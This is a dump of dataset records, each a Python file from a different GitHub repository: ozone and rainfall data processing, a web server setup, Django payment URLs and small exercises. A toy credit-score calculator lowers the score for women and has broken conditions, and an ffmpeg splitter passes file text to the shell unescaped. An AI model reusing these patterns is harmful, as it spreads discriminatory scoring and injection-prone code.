str(response))\n","repo_name":"luisdeltoro/sanmo","sub_path":"src/sanmo/cloud_watch_metrics.py","file_name":"cloud_watch_metrics.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"8052300681","text":"# Resample\nsvanvik_daily = data['Svanvik'].resample('1d').apply(np.nanmean)\nsvanvik_daily_2018 = data_svanvik_OzoNorClim['2018'].resample('1d').apply(np.nanmean)\nsvanvik_daily_2019 = data_svanvik_OzoNorClim['2019'].resample('1d').apply(np.nanmean)\n\nsvanvik_daily_std = data['Svanvik'].resample('1d').apply(np.nanstd)\nsvanvik_daily_std_2018 = data_svanvik_OzoNorClim['2018'].resample('1d').apply(np.nanstd)\nsvanvik_daily_std_2019 = data_svanvik_OzoNorClim['2019'].resample('1d').apply(np.nanstd)\n\nsvanvik_daily_stderr = data['Svanvik'].resample('1d').apply(lambda x: np.nanstd(x)/np.sqrt(x.count()))\nsvanvik_daily_stderr_2018 = data_svanvik_OzoNorClim['2018'].resample('1d').apply(lambda x: np.nanstd(x)/np.sqrt(x.count()))\nsvanvik_daily_stderr_2019 = data_svanvik_OzoNorClim['2019'].resample('1d').apply(lambda x: np.nanstd(x)/np.sqrt(x.count()))\n\n# Draw sample from climatology of Jergul/Karsjok, Esrange, Pallas -> fig9\nsample = fitSpl_dmean(svanvik_daily.dropna().index.dayofyear)\nsample_2018 = fitSpl_dmean(svanvik_daily_2018.dropna().index.dayofyear)\nsample_2019 = fitSpl_dmean(svanvik_daily_2019.dropna().index.dayofyear)\n# Draw sample from Svanvik climatology\nsample_2018_svanvik = fitSpl_dmean_svanvik(svanvik_daily_2018.dropna().index.dayofyear)\nsample_2019_svanvik = fitSpl_dmean_svanvik(svanvik_daily_2019.dropna().index.dayofyear)\n\n\n# Select 2018 data -> fig10\nesrange_daily_2018 = data['Esrange']['2018'].resample('1d').apply(np.nanmean)\npallas_daily_2018 = data['Pallas']['2018'].resample('1d').apply(np.nanmean)\nprestebakke_daily_2018 = data['Prestebakke']['2018'].resample('1d').apply(np.nanmean)\n\nesrange_daily_2018_std = data['Esrange']['2018'].resample('1d').apply(np.nanstd)\npallas_daily_2018_std = data['Pallas']['2018'].resample('1d').apply(np.nanstd)\nprestebakke_daily_2018_std = data['Prestebakke']['2018'].resample('1d').apply(np.nanstd)\n\nesrange_daily_2018_stderr = data['Esrange']['2018'].resample('1d').apply(lambda x: np.nanstd(x)/np.sqrt(x.count()))\npallas_daily_2018_stderr = data['Pallas']['2018'].resample('1d').apply(lambda x: np.nanstd(x)/np.sqrt(x.count()))\nprestebakke_daily_2018_stderr = data['Prestebakke']['2018'].resample('1d').apply(lambda x: np.nanstd(x)/np.sqrt(x.count()))\n\n# Sample accordingly from climatology\nsample_2018_esrange = fitSpl_dmean(esrange_daily_2018.dropna().index.dayofyear)\nsample_2018_pallas = fitSpl_dmean(pallas_daily_2018.dropna().index.dayofyear)\nsample_2018_prestebakke = fitSpl_dmean_prestebakke(prestebakke_daily_2018.dropna().index.dayofyear)\n\n# Sample only from June-September\nesrange_jja = esrange_daily_2018.where((esrange_daily_2018.index.month>=6) & (esrange_daily_2018.index.month<9)).dropna()\npallas_jja = pallas_daily_2018.where((pallas_daily_2018.index.month>=6) & (pallas_daily_2018.index.month<9)).dropna()\nprestebakke_jja = prestebakke_daily_2018.where((prestebakke_daily_2018.index.month>=6) & (prestebakke_daily_2018.index.month<9)).dropna()\nsvanvik_jja = svanvik_daily_2018.where((svanvik_daily_2018.index.month>=6) & (svanvik_daily_2018.index.month<9)).dropna()\n\nsample_jja_esrange = fitSpl_dmean(esrange_jja.index.dayofyear)\nsample_jja_pallas = fitSpl_dmean(pallas_jja.index.dayofyear)\nsample_jja_prestebakke = fitSpl_dmean_prestebakke(prestebakke_jja.index.dayofyear)\nsample_jja_svanvik = fitSpl_dmean_svanvik(svanvik_jja.index.dayofyear)\n\n# Sample from houerly climatology\nsample_clim_hourly_svanvik = pd.DataFrame(pd.concat((clim_hourly_svanvik.iloc[:(31+28)*24],clim_hourly_svanvik.iloc[(31+29)*24:])).values, index=pd.date_range(\"2018-01-01 0:0\", \"2018-12-31 23:0\", freq='H'))\nsample_clim_hourly_err_svanvik = pd.DataFrame(pd.concat((clim_hourly_err_svanvik.iloc[:(31+28)*24],clim_hourly_err_svanvik.iloc[(31+29)*24:])).values, index=pd.date_range(\"2018-01-01 0:0\", \"2018-12-31 23:0\", freq='H'))\nsample_clim_hourly = pd.DataFrame(pd.concat((clim_hourly.iloc[:(31+28)*24],clim_hourly.iloc[(31+29)*24:])).values, index=pd.date_range(\"2018-01-01 0:0\", \"2018-12-31 23:0\", freq='H'))\nsample_clim_hourly_prestebakke = pd.DataFrame(pd.concat((clim_hourly_prestebakke.iloc[:(31+28)*24],clim_hourly_prestebakke.iloc[(31+29)*24:])).values, index=pd.date_range(\"2018-01-01 0:0\", \"2018-12-31 23:0\", freq='H'))\n\n","repo_name":"ziu1986/python_scripts","sub_path":"ozone_metrics/ozone_anomalies/ozone_observation_sampling.py","file_name":"ozone_observation_sampling.py","file_ext":"py","file_size_in_byte":4193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1673692078","text":"class Dog:\n _happiness = 10\n\n def __init__(self, name, age):\n self.name = name\n self.age = age\n\n @property\n def human_age(self):\n return self.age * 7.3 # добавим новое поле - шкала счастья\n\n @property\n def happiness(self):\n return self._happiness\n\n # с помощью декоратора setter мы можем неявно передать во второй\n # аргумент значение, находящееся справа от равно, а не закидывать это\n # значение в скобки, как мы это делали в модуле C1, когда не знали о\n # декораторах класса\n @happiness.setter # допустим, мы хотим, чтобы счастье питомца измерялось шкалой от 0 до 100\n def happiness(self, value):\n if 100 >= value >= 0:\n self._happiness = value\n else:\n raise ValueError(\"Happiness must be between 0 ... 100\")\n\n\njane = Dog(\"jane\", 4)\njane.happiness = 100 # осчастливим нашу собаку < :\nprint(jane.happiness)\n","repo_name":"LlamaUnicorn/FPW60","sub_path":"sandbox.py","file_name":"sandbox.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"25661280030","text":"from bs4 import BeautifulSoup\nimport re\n\ndef get_ssal(s):\n patt = r'\\d{1,9}'\n sal = re.findall(patt, s)\n print(sal)\n\ndef main():\n f = open('index.html').read()\n soup = BeautifulSoup(f, 'lxml')\n salary = soup.find_all('div', {'data-set': 'salary'})\n for i in salary:\n get_ssal(i.text)\n #\n# print(al)\n\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"igorlisitsyn/test","sub_path":"bs_prim.py","file_name":"bs_prim.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"5695890367","text":"import asyncio\nfrom aiohttp import WSCloseCode\n\nfrom msa.data import start_db_engine, stop_db_engine\nfrom msa.server.route_adapter import RouteAdapter\nfrom msa.server.default_routes import register_default_routes\nfrom msa.server.event_propagate import EventPropagationRouter\n\nfrom aiohttp import web\n\n# create global route adapter\nroute_adapter_instance = RouteAdapter()\nregister_default_routes(route_adapter_instance)\n\n\nasync def start_supervisor(app): # pragma: no coverage\n app[\"supervisor\"].start()\n\n\nasync def stop_supervisor(app): # pragma: no coverage\n app[\"supervisor\"].logger.info(\"*** trigger shutdown\")\n await app[\"supervisor\"].exit()\n\n\nasync def on_shutdown(app): # pragma: no coverage\n for ws in set(app[\"websockets\"]):\n await ws.close(code=WSCloseCode.GOING_AWAY, message=\"Server shutdown\")\n\n\ndef start_server(config_context): # pragma: no coverage\n app = web.Application()\n\n event_propagation_router = EventPropagationRouter()\n\n app[\"config_context\"] = config_context\n\n # get loop and db\n loop = asyncio.get_event_loop()\n\n # init supervisor\n from msa import core as msa_core\n from msa.core.supervisor import Supervisor\n\n supervisor = Supervisor()\n msa_core.supervisor_instance = supervisor\n app[\"supervisor\"] = supervisor\n supervisor.init(loop, app[\"config_context\"], route_adapter_instance)\n loop.run_until_complete(start_db_engine())\n\n event_propagation_router.register_propagate_subscription(supervisor.event_bus)\n\n # register routes\n route_adapter_instance.register_app(app)\n app.add_routes(route_adapter_instance.get_route_table())\n\n # startup hooks\n app.on_startup.append(event_propagation_router.app_start)\n app.on_startup.append(start_supervisor)\n\n # onshutdown\n app.on_shutdown.append(on_shutdown)\n\n # cleanup routes\n app.on_cleanup.append(stop_supervisor)\n app.on_cleanup.append(event_propagation_router.app_stop)\n app.on_cleanup.append(stop_db_engine)\n\n try:\n import aiomonitor\n\n host, port = \"127.0.0.1\", 8080\n locals_ = {\"port\": port, \"host\": host}\n with aiomonitor.start_monitor(loop=loop, locals=locals_):\n # run application with built in aiohttp run_app function\n\n try:\n web.run_app(app, port=port, host=host)\n except Exception as e:\n print(e)\n finally:\n loop.close()\n\n except:\n try:\n web.run_app(app)\n except Exception as e:\n print(e)\n finally:\n loop.close()\n","repo_name":"MichaelGrabinski/moe-serifu-agent","sub_path":"python/msa/server/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"720189296","text":"from re import A\r\n\r\nclass BMR:\r\n def getName():\r\n f = open(\"User Info\\\\name.txt\", \"r\")\r\n name = f.read()\r\n f.close()\r\n return name\r\n\r\n def getAge(self):\r\n f = open(\"User Info\\\\age.txt\", \"r\")\r\n self.age = f.read()\r\n f.close()\r\n return self.age\r\n\r\n def getWeight(self):\r\n f = open(\"User Info\\\\weight.txt\", \"r\")\r\n self.weight = f.read()\r\n f.close()\r\n return self.weight\r\n\r\n def getHeight(self):\r\n f = open(\"User Info\\\\height.txt\", \"r\")\r\n self.height = f.read()\r\n f.close()\r\n return self.height\r\n\r\n def getGender(self):\r\n f = open(\"User Info\\\\gender.txt\", \"r\")\r\n self.gender = f.read()\r\n f.close()\r\n return self.gender\r\n\r\n def calBMR(self, gender, weight, height, age):\r\n if self.gender == \"male\":\r\n bmr = 88.376 + 13*self.weight + 4.799*self.height - 5.677*self.age\r\n elif self.gender == \"female\": \r\n bmr = 447.593 + 9.247*self.weight + 3.098*self.height - 4.330*self.age\r\n\r\n bmr = round(bmr)\r\n return bmr\r\n","repo_name":"Sangdrinkwootah/cs3310_AI","sub_path":"AI folder/master/core/BMR/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7216410082","text":"import sys\ninput=sys.stdin.readline\ndef rec(s,l,r,count):\n if l>=r:\n return [1,count]\n elif s[l]!=s[r]:\n return [0,count]\n else:\n return rec(s,l+1,r-1,count+1)\ndef ispal(s):\n return rec(s,0,len(s)-1,1)\nn=int(input())\nanswer=[]\nfor i in range(n):\n tmp_s=input().rstrip()\n answer.append(ispal(tmp_s))\nfor i in range(n):\n print(*answer[i])","repo_name":"nahowo/23-1-Algorithm-study","sub_path":"25501.py","file_name":"25501.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"9229834831","text":"from ..functions.timer import Timer\nfrom ..data.url_data import _url\nfrom ..data.rainstation_data import _stationDataRain\nfrom bs4 import BeautifulSoup\nfrom urllib.request import urlopen\nimport json\nfrom numpy import mean\nimport os\nimport time\nfrom datetime import datetime, timedelta\nfrom zipfile import ZipFile\nfrom io import BytesIO\nimport re\nimport pandas as pd\nimport copy\nimport random\n\nclass Rain():\n def __init__(self, stationNameList, nowFormat, pastHours, obsUrl='CWB'):\n self.stationNameList = stationNameList\n self.nowFormat = nowFormat\n self.obsUrl = obsUrl\n self.timer = Timer()\n self.timer.observe(pastHours=pastHours)\n \n\n def obsRainDict(self):\n obsRainDict = {}\n \n obsSrcFormat = self.timer.obsSrcFormat\n obsApiFormat = self.timer.obsApiFormat\n \n for stcode in self.stationNameList:\n rawData = urlopen(_url[self.obsUrl].format(stcode)).read().decode('utf-8')\n output = json.loads(rawData)\n\n dataList = []\n for dataTimeSrc, dataTimeApi in zip(obsSrcFormat, obsApiFormat):\n information = {}\n information['type'] = 'OBS'\n information['time'] = dataTimeApi\n for data in output:\n if data['time'] == dataTimeSrc:\n information['010m'] = data['010m']\n information['01h'] = data['01h']\n information['03h'] = data['03h']\n information['06h'] = data['06h']\n information['12h'] = data['12h']\n information['24h'] = data['24h']\n break\n else:\n information['010m'] = -9999\n information['01h'] = -9999\n information['03h'] = -9999\n information['06h'] = -9999\n information['12h'] = -9999\n information['24h'] = -9999\n dataList.append(information)\n obsRainDict[stcode] = dataList\n print(f'station: {stcode}, complete')\n \n return obsRainDict\n\n\n def inputObsRainDict(self, obsRainDict):\n inputObsFormat = self.timer.inputObsFormat\n inputObsRainDict = copy.deepcopy(obsRainDict)\n\n for stcode in self.stationNameList:\n obsData = inputObsRainDict[stcode]\n inputObsRainDict[stcode] = []\n\n dataList = []\n for dataTimeInput in inputObsFormat:\n for data in obsData:\n if data['time'] == dataTimeInput:\n # add key 'rainfall' equal 01h value\n data['rainfall'] = data['01h']\n # deelte key which unuse\n del data['010m']\n del data['01h']\n del data['03h']\n del data['06h']\n del data['12h']\n del data['24h']\n\n dataList.append(data)\n \n inputObsRainDict[stcode] = dataList\n \n return inputObsRainDict\n\n\n def sumObsRainDict(self, obsRainDict):\n warnObsFormat = self.timer.warnObsFormat\n warnObsRainDict = copy.deepcopy(obsRainDict)\n \n for stcode in self.stationNameList:\n obsData = warnObsRainDict[stcode]\n warnObsRainDict[stcode] = []\n \n dataList = []\n for dataTimeInput in warnObsFormat:\n for data in obsData:\n if data['time'] == dataTimeInput:\n # deelte key which unuse\n del data['010m']\n\n dataList.append(data)\n \n warnObsRainDict[stcode] = dataList\n \n return warnObsRainDict\n \n\n def bmeObsRainDict(self, inputObsRainDict, preHours=3):\n '''\n bmeObsRainDict: A dictionary format for BME input, only contain a few obs data ahead current time\n inputObsRainDict: dictiionary, from input dictionary, hourly data\n preHours: int, defined how many hours ahead current time\n '''\n bmeObsRainDict = copy.deepcopy(inputObsRainDict)\n \n for stcode in self.stationNameList:\n inputData = bmeObsRainDict[stcode]\n bmeObsRainDict[stcode] = []\n\n dataList = []\n for bmeTime in range(preHours*(-1), 0):\n dataList.append(inputData[bmeTime])\n \n bmeObsRainDict[stcode] = dataList\n \n return bmeObsRainDict\n\n \n def simRainDict(self, simUrl, futureHoursMax=24, BME=False):\n simRainDict = {}\n try:\n data = urlopen(os.path.join(_url[simUrl], self.nowFormat)).read().decode('utf-8')\n forecastLen = len(BeautifulSoup(data, 'html.parser').findAll('a')) - 1\n if forecastLen > futureHoursMax:\n futureHours = futureHoursMax\n else:\n futureHours = forecastLen \n simFlag = True \n except:\n print(f\"Warning!! {simUrl} doesn't exist. It will return an empty list\")\n simFlag = False\n \n if simFlag:\n self.timer.simulate(futureHours=futureHours)\n simApiFormat = self.timer.simApiFormat\n\n zipName = 'grid_rain_0000.0{:0>2d}{}'\n for num, dataTimeApi in enumerate(simApiFormat):\n data = urlopen(os.path.join(\n _url[simUrl], self.nowFormat, zipName.format(num + 1, '.zip')))\n zipfile = ZipFile(BytesIO(data.read()))\n rawFile = []\n\n for line in zipfile.open(zipName.format(num + 1, '')).readlines():\n rawData = re.split('\\r| | ', line.decode('utf-8'))[0:3]\n rawFile.append(rawData)\n simRainDataFrame = pd.DataFrame(\n rawFile[5:], columns=['Longtitude', 'Latitude', 'intensity (mm/hr)']\n )\n if num == 0 and BME is True:\n fmt = '%Y%m%d%H'\n fileTime = datetime(*time.strptime(self.nowFormat, fmt)[:6]) + timedelta(hours=1)\n fileName = f'{fileTime.strftime(fmt)}_{simUrl}.csv'\n csvPath = os.path.join(os.getcwd(), 'floodforecast', 'data', 'csv', fileName)\n simRainDataFrame.to_csv(csvPath, index=None)\n\n \n for stcode in self.stationNameList:\n if num == 0:\n simRainDict[stcode] = []\n \n dataList = []\n forecastPoint = _stationDataRain[stcode]['points']\n meanValue = round(mean([float(i) for i in simRainDataFrame.loc[forecastPoint].iloc[:, 2]]), 1)\n maxValue = max([float(i) for i in simRainDataFrame.loc[forecastPoint].iloc[:, 2]])\n information = {}\n information['type'] = simUrl\n information['time'] = dataTimeApi \n information['01h_mean'] = meanValue\n information['01h_max'] = maxValue\n \n dataList.append(information)\n simRainDict[stcode].extend(dataList)\n else:\n simRainDict = []\n return simRainDict\n \n\n def inputSimRainDict(self, simRainDict):\n '''\n change simRainDict into inputSimRainDict\n 1. Change key name from 'mean' to 'rainfall'\n 2. delete unuse key 'max'\n '''\n if simRainDict == []:\n inputSimRainDict = []\n pass\n else:\n inputSimRainDict = copy.deepcopy(simRainDict)\n newKey = 'rainfall'\n oldKey = '01h_mean'\n\n for stcode in self.stationNameList:\n simData = inputSimRainDict[stcode]\n\n for data in simData:\n data[newKey] = data.pop(oldKey)\n del data['01h_max']\n \n return inputSimRainDict\n\n \n def combineRainDict(self, obsRainDict, simRainDict):\n if not simRainDict:\n print('Warning!! simRainDict is an empty list, it will not combine with obsRainDict.')\n combineRainDict = []\n else:\n combineRainDict = copy.deepcopy(obsRainDict)\n \n for stcode in obsRainDict.keys():\n combineRainDict[stcode].extend(simRainDict[stcode])\n \n return combineRainDict\n\n\n def sumRainDict(self, sumObsRainDict, simRainDict, pastHours):\n sumRainDict = self.combineRainDict(sumObsRainDict, simRainDict)\n \n for key in sumRainDict.keys():\n startIndex = pastHours + 1\n endIndex = len(sumRainDict[key])\n \n # repalce -9999 to 0\n sumRainDict[key] = [{k:0 if v == -9999 else v for k, v in item.items()} for item in sumRainDict[key]]\n # add all value into a list\n meanList = [val['01h'] if val['type'] == 'OBS' else val['01h_mean'] for val in sumRainDict[key]]\n maxList = [val['01h'] if val['type'] == 'OBS' else val['01h_max'] for val in sumRainDict[key]]\n for num in range(startIndex, endIndex):\n # Count 3 hours sum\n sumRainDict[key][num]['03h_mean'] = round(sum(meanList[num-2: num+1]))\n sumRainDict[key][num]['03h_max'] = round(sum(maxList[num-2: num+1]))\n # Count 6 hours sum\n sumRainDict[key][num]['06h_mean'] = round(sum(meanList[num-5: num+1]))\n sumRainDict[key][num]['06h_max'] = round(sum(maxList[num-5: num+1]))\n # Count 12 hours sum\n sumRainDict[key][num]['12h_mean'] = round(sum(meanList[num-11: num+1]))\n sumRainDict[key][num]['12h_max'] = round(sum(maxList[num-11: num+1]))\n # Count 24 hours sum\n sumRainDict[key][num]['24h_mean'] = round(sum(meanList[num-23: num+1]))\n sumRainDict[key][num]['24h_max'] = round(sum(maxList[num-23: num+1]))\n # Count 48 hours sum, if data length is smaller than 48 hours, then the value is -9999\n if num-47 < 0:\n sumRainDict[key][num]['48h_mean'] = -9999\n sumRainDict[key][num]['48h_max'] = -9999\n else:\n sumRainDict[key][num]['48h_mean'] = round(sum(meanList[num-47: num+1]))\n sumRainDict[key][num]['48h_max'] = round(sum(maxList[num-47: num+1]))\n # Count 72 hours sum, if data length is smaller than 72 hours, then the value is -9999\n if num-71 < 0:\n sumRainDict[key][num]['72h_mean'] = -9999\n sumRainDict[key][num]['72h_max'] = -9999\n else:\n sumRainDict[key][num]['72h_mean'] = round(sum(meanList[num-71: num+1]))\n sumRainDict[key][num]['72h_max'] = round(sum(maxList[num-71: num+1])) \n \n return sumRainDict\n\n\nif __name__ == '__main__':\n pass\n\n","repo_name":"LinChihHung/FloodForecastSystem","sub_path":"floodforecast/functions/rainfall.py","file_name":"rainfall.py","file_ext":"py","file_size_in_byte":11253,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"13897156829","text":"import logging\n\nfrom django_filters.rest_framework import FilterSet\n\nfrom .models import TimeSeriesDataArchive\n\nlogger = logging.getLogger(__name__)\n\n\nclass TSArchiveFilter(FilterSet):\n \"\"\"Allows filtering ts archive by start/end dates\"\"\"\n\n class Meta:\n model = TimeSeriesDataArchive\n fields = {\n \"start\": [\"lt\", \"gt\"],\n \"end\": [\"lt\", \"gt\"],\n \"aggregation_type\": [\"exact\"],\n }\n","repo_name":"zconnect-iot/zconnect-django","sub_path":"zconnect/zc_timeseries/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"8609980721","text":"from django.conf.urls import url\nfrom django.apps import apps\nfrom livesettings.functions import config_value\nfrom satchmo_store.shop.satchmo_settings import get_satchmo_setting\n\nfrom payment.views.balance import balance_remaining, balance_remaining_order, \\\n\tcharge_remaining, charge_remaining_post\nfrom payment.views.checkout import success\nfrom payment.views.contact import authentication_required, contact_info_view\nfrom payment.views.cron import cron_rebill\n\nimport logging\n\nlog = logging.getLogger('payment.urls')\n\nssl = get_satchmo_setting('SSL', default_value=False)\n\nurlpatterns = [\n url(r'^$', contact_info_view, {'SSL': ssl}, 'satchmo_checkout-step1'),\n url(r'^success/$', success, {'SSL' : ssl}, 'satchmo_checkout-success'),\n url(r'custom/charge/(?P\\d+)/$', charge_remaining, {}, 'satchmo_charge_remaining'),\n url(r'custom/charge/$', charge_remaining_post, {}, 'satchmo_charge_remaining_post'),\n url(r'^balance/(?P\\d+)/$', balance_remaining_order, {'SSL' : ssl}, 'satchmo_balance_remaining_order'),\n url(r'^balance/$', balance_remaining, {'SSL' : ssl}, 'satchmo_balance_remaining'),\n url(r'^cron/$', cron_rebill, {}, 'satchmo_cron_rebill'),\n url(r'^mustlogin/$', authentication_required, {'SSL' : ssl}, 'satchmo_checkout_auth_required'),\n]\n\n# now add all enabled module payment settings\n\ndef make_urlpatterns():\n patterns = []\n for app in apps.get_app_configs():\n if hasattr(app.models_module, 'PAYMENT_PROCESSOR'):\n parts = app.name.split('.')\n key = parts[-1].upper()\n modulename = 'PAYMENT_%s' % key\n name = app.name\n #log.debug('payment module=%s, key=%s', modulename, key)\n # BJK: commenting out Bursar settings here\n # try:\n # cfg = config_get(modulename, 'INTERFACE_MODULE')\n # interface = cfg.editor_value\n # except SettingNotSet:\n # interface = name[:name.rfind('.')]\n # urlmodule = \"%s.urls\" % interface\n urlmodule = '.'.join(parts) + '.urls'\n urlbase = config_value(modulename, 'URL_BASE')\n log.debug('Found payment processor: %s, adding urls at %s', key, urlbase)\n patterns.append(url(urlbase, [urlmodule, '', '']))\n return tuple(patterns)\n\nurlpatterns += make_urlpatterns()\n","repo_name":"djangoplicity/satchmo","sub_path":"satchmo/apps/payment/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35082340661","text":"def diffBetweenTwoStrings(source, target):\n memo = [[None] * len(target) for _ in range(len(source))]\n return findEdits(source, target, 0, 0, memo)[0]\n\ndef findEdits(source, target, sourceIndex, targetIndex,memo): \n # Base Condition: If source is done, add remaining target\n if len(source) == sourceIndex:\n remaining = [\"+\" + char for char in target[targetIndex:]]\n return remaining, len(remaining)\n \n # Base Condition: If target is done and not source, return infinity\n if len(target) == targetIndex:\n return [], float('inf')\n \n # if not already seen\n if memo[sourceIndex][targetIndex] == None:\n # If both matches, just add that char\n if source[sourceIndex] == target[targetIndex]:\n nextChain, edits = findEdits(source, target, sourceIndex+1, targetIndex+1, memo)\n memo[sourceIndex][targetIndex] = [source[sourceIndex]] + nextChain, edits\n else:\n # If not, try both adding and removing\n addPath, addEdits = findEdits(source, target, sourceIndex, targetIndex+1, memo)\n addPath = [\"+\" + target[targetIndex]] + addPath\n\n deletePath, deleteEdits = findEdits(source, target, sourceIndex+1, targetIndex, memo)\n deletePath = [\"-\" + source[sourceIndex]] + deletePath\n\n # Pick smallest path, if equal, pick deletePath \n memo[sourceIndex][targetIndex] = (deletePath, deleteEdits+1) \\\n if deleteEdits <= addEdits else (addPath, addEdits+1)\n \n return memo[sourceIndex][targetIndex]\n","repo_name":"AravindVasudev/datastructures-and-algorithms","sub_path":"problems/pramp/Diff Between Two Strings.py","file_name":"Diff Between Two Strings.py","file_ext":"py","file_size_in_byte":1460,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"33615082951","text":"class credit_scrore_calculator_and_saver():\r\n age = input(\"What's your age?\\n\")\r\n gender = input(\"What's your gender?\\n\")\r\n payment_history = input(\"How many loans you have you paid\\n\")\r\n loans = input(\"How many loans do you have?\\n\")\r\n loans_paid = input(\"How many loans you have paid\\n\")\r\n credit_card_utilization = input(\"How much have you used your credit card\\n\")\r\n\r\n def __init__(self):\r\n self.__init__()\r\n\r\n def _credit_calculator(self,age,gender,payment_history,loans_paid):\r\n self.credit_scrore_calculator_1 = age\r\n self.credit_scrore_calculator_2 = gender\r\n self.payment_history_converted_to_int = int(payment_history)\r\n self.loans_paid_conerted_to_int = int(loans_paid)\r\n self.kg_or__to_kg_converterdebt = self.payment_history_converted_to_int - self.loans_paid_conerted_to_int\r\n self.score = 350\r\n\r\n \r\n \r\n for self.debt in range(31):\r\n self.score += 100\r\n \r\n if self.debt < 43:\r\n self.score += 100\r\n\r\n if gender.lower() == \"girl\" or \"woman\":\r\n self.score -= 100\r\n \r\n if gender.lower() == \"boy\" or \"man\":\r\n self.score += 1\r\n \r\n for age in range(36-1):\r\n self.score += 200\r\n \r\n if age == 36 or 37 or 38 or 39 or 40 or 41 or 42 or 43 or 44 - 1:\r\n self.score = 0\r\n\r\n elif age == 45 or 46 or 47 or 48 or 49 or 50 or 51 or 52 or 53 or 54 - 1:\r\n self.score =- 200\r\n \r\n elif age == 55 or 56 or 57 or 58 or 59 or 60 or 61 or 62 or 63 or 64 - 1:\r\n self.score == 0\r\n \r\n elif age == 65 or 66 or 67 or 68 or 69 or 70 or 71 or 72 or 73 or 74 - 1:\r\n self.score =+ 100\r\n \r\n elif age > 75 - 1:\r\n self.score =+ 200\r\n \r\n if self.score == 900:\r\n print(f\"Your credit score is:{self.score}.\\nYour credit score is perfect.\\nYou'll definetely\")\r\n \r\n for self.score in range(700,900):\r\n print(f\"Your credit score is:{self.score}.\\nThat's average\\n.But sometimes you'll never be allowed to take a loan.\\n\")\r\n \r\n for self.score in range(500,700):\r\n print(f\"Your credit score is:{self.score} .\\nThat's not too bad.\\n But you'll not be given loans that much\")\r\n\r\n for self.score in range(350,500):\r\n print(f\"Your credit score is:{self.score} .\\nThat's bad\\nDefinetly no loans.\\nHere are some tips to help:\\n1.Try spending less of your card.\\n2.Respect your money \")","repo_name":"Tech-Helper504/Windows-Siri","sub_path":"credit_score_calculator.py","file_name":"credit_score_calculator.py","file_ext":"py","file_size_in_byte":2563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31381705066","text":"#shebang is what goes here\r\nimport subprocess\r\nimport sys\r\n\r\ndef main():\r\n \"\"\"split a music track into specified sub-tracks by calling ffmpeg from the shell\"\"\"\r\n\r\n # check command line for original file and track list file\r\n if len(sys.argv) != 3:\r\n print('usage: split ')\r\n exit(1)\r\n\r\n # record command line args\r\n original_track = sys.argv[1]\r\n fileExt = '.'+original_track.split('.')[-1]\r\n track_list = sys.argv[2]\r\n # create a template of the ffmpeg call in advance\r\n cmd_string = 'ffmpeg -i {tr} -ss {st} -to {en} {nm}'\r\n\r\n # read each line of the track list and split into start, end, name\r\n with open(track_list, encoding='utf-8') as f:\r\n for line in f:\r\n # skip comment and empty lines\r\n if line.startswith('#') or len(line) <= 1:\r\n continue\r\n # create command string for a given track\r\n splitted = line.strip().split()\r\n start, end = splitted[0:2]\r\n name = '\"' + ' '.join(splitted[2:]) + fileExt + '\"'\r\n command = cmd_string.format(tr=original_track, st=start, en=end, nm=name)\r\n print(command)\r\n # use subprocess to execute the command in the shell\r\n subprocess.call(command, shell=True)\r\n\r\n return None\r\n\r\n\r\nif __name__ == '__main__':\r\n main()","repo_name":"Shumzi/useful-scripts","sub_path":"audioAlbumToFiles.py","file_name":"audioAlbumToFiles.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30149095801","text":"array = [5,7,9,0,3,1,6,2,4,8]\n\ndef quick(array, start, end):\n if start >= end :\n return\n\n pivot = start\n L = start + 1\n R = end\n \n while R > L :\n while L <= R and array[pivot] > array[L]:\n L += 1\n while R >= L and array[pivot] < array[R]:\n R -= 1\n\n # swap\n if L > R:\n array[pivot], array[R] = array[R],array[pivot]\n # pivot swap\n else : \n array[L], array[R] = array[R], array[L] \n quick(array, start, R-1)\n quick(array, R+1, end)\n\nquick(array, 0, len(array)-1)\nprint(array)","repo_name":"Imseungbae/algorithm","sub_path":"quickSortV1.py","file_name":"quickSortV1.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32471945835","text":"import gi\ngi.require_version(\"Gtk\", \"3.0\")\nfrom gi.repository import Gtk\nimport pathlib\n\n\ndef run():\n builder = Gtk.Builder()\n\n app_dir = pathlib.Path(__file__).parent\n\n builder.add_from_file(str(app_dir / 'helloGTK.glade'))\n\n window = Gtk.Window(title=\"Hello World\")\n window.show()\n window.connect(\"destroy\", Gtk.main_quit)\n Gtk.main()\n\nif __name__ == '__main__':\n run()\n","repo_name":"joepreludian/pygobject_pyoxidizer","sub_path":"preludian/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} 